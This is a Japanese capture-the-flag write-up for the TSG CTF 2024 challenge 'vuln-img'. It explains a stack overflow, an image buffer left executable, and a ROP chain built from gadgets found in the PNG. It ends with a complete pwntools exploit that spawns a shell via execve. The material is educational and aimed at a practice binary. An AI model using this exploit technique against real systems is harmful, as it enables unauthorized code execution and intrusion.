はじめに
この記事は 1日1CTF Advent Calendar 2024 の 10 日目の記事です。
問題
vuln-img (問題出典: TSG CTF 2024)
イメージって脆弱なイメージがある
問題概要
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#define FILE_PATH "./something.png"
#define IMG_DATA_SIZE 0x1000000
#define VALIDATE_PROT(p) ((p) & (PROT_READ | PROT_WRITE | PROT_EXEC))
__attribute__((section(".img")))
char img_data[IMG_DATA_SIZE];
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
puts("Simple PNG Header Reader");
// Open the image file.
int fd = open(FILE_PATH, O_RDONLY);
if (fd < 0) {
printf("Failed to open %s.\n", FILE_PATH);
return -1;
}
// Prepare for writing it.
mprotect(img_data, IMG_DATA_SIZE, VALIDATE_PROT(PROT_READ | PROT_WRITE));
// Read the image data.
int size = read(fd, img_data, IMG_DATA_SIZE);
if (size < 0) {
printf("Failed to read %s.\n", FILE_PATH);
return -1;
}
printf("Loaded %d bytes from %s.\n", size, FILE_PATH);
// Make the data read-only.
mprotect(img_data, IMG_DATA_SIZE, VALIDATE_PROT(~PROT_WRITE));
while (1) {
// Wait for user input.
printf("> ");
char buf[0x100];
scanf("%s", buf);
if (!strcmp(buf, "show")) {
// Show the image data.
puts("Showing the image data...");
printf("data[0] = %02x\n", ((unsigned char)img_data[0] % 0x100));
printf("data[1:4] = %c%c%c\n", img_data[1], img_data[2], img_data[3]);
} else if (!strcmp(buf, "exit")) {
// Exit the program.
puts("Bye!");
return 0;
} else {
// Invalid command.
puts("Invalid command.");
}
}
}
Canary : Disabled
NX : Enabled
PIE : Disabled (0xfff000)
RELRO : No RELRO
Fortify : Not found
something.png
(配布されている) をグローバル変数に読み込んで、それに関しての情報を見れるプログラム。
考察
まず自明な Buffer Overflow がある。canary もないので悪用しやすそう。
...
char buf[0x100];
scanf("%s", buf);
...
しかし、ROP gadget がそんなにない…
0xa0000c9: add [rax], eax ; add [rcx], eax ; pop rbp ; ret ; (1 found)
0xa0000cc: add [rbp-0x3D], ebx ; nop ; ret ; (1 found)
0xa0000cb: add [rcx], eax ; pop rbp ; ret ; (1 found)
0xa00030e: add byte [rax-0x7B], cl ; sal byte [rdx+rax-0x01], 0xD0 ; add rsp, 0x08 ; ret ; (1 found)
0xa000028: add byte [rax], al ; add byte [rax], al ; nop [rax+0x00] ; ret ; (1 found)
0xa00002a: add byte [rax], al ; nop [rax+0x00] ; ret ; (1 found)
0xa00005a: add byte [rbx], cl ; jmp rax ; (2 found)
0xa0000ca: add byte [rcx], al ; add [rbp-0x3D], ebx ; nop ; ret ; (1 found)
0xa0000c7: add eax, 0x0100018B ; add [rbp-0x3D], ebx ; nop ; ret ; (1 found)
0xa000317: add esp, 0x08 ; ret ; (2 found)
0xa000020: add esp, esi ; nop word [rax+rax+0x00000000] ; nop [rax+0x00] ; ret ; (1 found)
0xa000316: add rsp, 0x08 ; ret ; (2 found)
0xa00056b: call qword [rsi+0x00FFFFFB] ; (1 found)
0xa000314: call rax ; (1 found)
0xa000301: dec ecx ; ret ; (1 found)
0xa000021: hlt ; nop word [rax+rax+0x00000000] ; nop [rax+0x00] ; ret ; (1 found)
0xa00041b: jmp qword [rdx] ; (1 found)
0xa00005c: jmp rax ; (3 found)
0xa000302: leave ; ret ; (1 found)
0xa0000c6: mov byte [0x000000000B000258], 0x01 ; pop rbp ; ret ; (1 found)
0xa000057: mov edi, 0x0B000248 ; jmp rax ; (2 found)
0xa00005e: nop ; ret ; (3 found)
0xa00002c: nop [rax+0x00] ; ret ; (1 found)
0xa000023: nop [rax+rax+0x00000000] ; nop [rax+0x00] ; ret ; (2 found)
0xa000022: nop word [rax+rax+0x00000000] ; nop [rax+0x00] ; ret ; (1 found)
0xa000056: or [rdi+0x0B000248], edi ; jmp rax ; (1 found)
0xa0000cd: pop rbp ; ret ; (1 found)
0xa000030: ret ; (8 found)
0xa000311: sal byte [rdx+rax-0x01], 0xD0 ; add rsp, 0x08 ; ret ; (1 found)
0xa000560: sar dh, 0xFF ; jmp rax ; (1 found)
0xa00031d: sub esp, 0x08 ; add rsp, 0x08 ; ret ; (1 found)
0xa00031c: sub rsp, 0x08 ; add rsp, 0x08 ; ret ; (1 found)
まだ画像を読み込んでいるということを使っていないのでどう使えるか考えてみる。
...
#define VALIDATE_PROT(p) ((p) & (PROT_READ | PROT_WRITE | PROT_EXEC))
...
// Make the data read-only.
mprotect(img_data, IMG_DATA_SIZE, VALIDATE_PROT(~PROT_WRITE));
...
これ、コメントは read-only と言っているが、よく見ると exec もできそう。
readelf の結果 (下記) より、画像データは 0x1000000
番地にあって、
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .img PROGBITS 0000000001000000 00001000
0000000001000000 0000000000000000 WA 0 0 32
...
メモリマップを見てみると、画像データは実行可能領域にある。
Start End Size Offset Perm Path
0xfff000 0x1000000 0x1000 0x0 rw- /home/CTF/vuln_img
0x1000000 0x2000000 0x1000000 0x1000 r-x /home/CTF/vuln_img
0xa000000 0xa001000 0x1000 0x1001000 r-x /home/CTF/vuln_img
0xb000000 0xb001000 0x1000 0x1002000 rw- /home/CTF/vuln_img
よって、画像ファイルの一部を ROP gadget として利用できる。
ROP gadget は rp++
で探せる。
rp++ --raw 1 --file ./something.png -r3
使えそうなのはこんな感じ。
0x4952: pop rdi ; sbb r8d, 0x4424A400 ; ret ; (1 found)
0x5587: stosd ; ret ;
0x771e: pop rcx ; ret ;
0xbb60: pop rsi ; jmp rcx ;
0xc30e: pop rax ; ret ;
0xccb7: syscall ; (1 found)
main()
関数から抜けるとき rdx
はたまたま 0
だったので、rax
を 0x3b
に、rdi
を /bin/sh
のアドレスに、rsi
を 0
にして、syscall
を呼び出せば execve("/bin/sh", 0, 0)
を呼び出せて勝ち。
実際に ROP chain を組んでみる。
1. 0x4952: pop rdi ; sbb r8d, 0x4424A400 ; ret ;
-------------------------------------------------
2. (address of "/bin/sh")
-------------------------------------------------
3. 0x771e: pop rcx ; ret ;
-------------------------------------------------
4. 0xc30e: pop rax ; ret ;
-------------------------------------------------
5. 0xbb60: pop rsi ; jmp rcx ;
-------------------------------------------------
6. 0x0
-------------------------------------------------
7. 0x3b
-------------------------------------------------
8. 0xccb7: syscall ;
実行するとこうなる。
-
1.
が呼び出されて2.
がrdi
に格納される (r8d
の値が変わってしまうが、割とどうでもいい) -
3.
が呼び出されて4.
がrcx
に格納される -
5.
が呼び出されて6.
がrsi
に格納され、その後rcx
に格納されている4.
にジャンプする -
4.
が呼び出されて7.
がrax
に格納される -
8.
が呼び出されて勝ち
ただ、このままだと /bin/sh
のアドレスなんてどこにもないので、適当な書き込めるアドレスに書き込む必要がある。
1. 0x4952: pop rdi ; sbb r8d, 0x4424A400 ; ret ;
-------------------------------------------------
2. (書き込める適当なアドレス)
-------------------------------------------------
3. 0xc30e: pop rax ; ret ;
-------------------------------------------------
4. "/bin"
-------------------------------------------------
5. 0x5587: stosd ; ret ;
-------------------------------------------------
6. 0xc30e: pop rax ; ret ;
-------------------------------------------------
7. "/sh\x00"
-------------------------------------------------
8. 0x5587: stosd ; ret ;
とすれば、
-
1.
が呼び出されて2.
がrdi
に格納される -
3.
が呼び出されて4.
がrax
に格納される -
5.
が呼び出されてedi
に格納されたアドレスが指す場所にeax
の値が代入され、edi
の値が4
加算される -
6.
が呼び出されて7.
がrax
に格納される -
8.
が呼び出されてedi
に格納されたアドレスが指す場所にeax
の値が代入され、edi
の値が4
加算される
という流れで /bin/sh
を書き込める。
実装
実際の gadget
のオフセットは 画像データの開始位置からの差分にしないといけない点に気をつけて exploit を書く。
from pwn import *
import sys
################################################
# context.log_level = "DEBUG"
FILENAME = "./vuln_img"
LIBCNAME = ""
host = ""
port = 0
################################################
context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None
if len(sys.argv) > 1:
if sys.argv[1][0] == "d":
cmd = """
set follow-fork-mode parent
"""
io = gdb.debug(FILENAME, cmd)
elif sys.argv[1][0] == "r":
io = remote(host, port)
else:
io = process(FILENAME)
img_data_offset = 0x1000000
sh_addr = 0xfff400 # writeable
payload = b"A" * 0x118
payload += p64(img_data_offset + 0x4952) # pop rdi ; sbb r8d, 0x4424A400 ; ret ;
payload += p64(sh_addr)
payload += p64(img_data_offset + 0xc30e) # pop rax ; ret ;
payload += b"/bin" + b"\x00" * 4
payload += p64(img_data_offset + 0x5587) # stosd ; ret ;
payload += p64(img_data_offset + 0xc30e) # pop rax ; ret ;
payload += b"/sh\x00" + b"\x00" * 4
payload += p64(img_data_offset + 0x5587) # stosd ; ret ;
payload += p64(img_data_offset + 0x4952) # pop rdi ; sbb r8d, 0x4424A400 ; ret ;
payload += p64(sh_addr)
payload += p64(img_data_offset + 0x771e) # pop rcx ; ret ;
payload += p64(img_data_offset + 0xc30e) # pop rax ; ret ;
payload += p64(img_data_offset + 0xbb60) # pop rsi ; jmp rcx ;
payload += p64(0)
payload += p64(0x3b)
payload += p64(img_data_offset + 0xccb7) # syscall ;
io.recvuntil(b"> ")
io.sendline(payload)
io.recvuntil(b"> ")
io.sendline(b"exit")
io.interactive()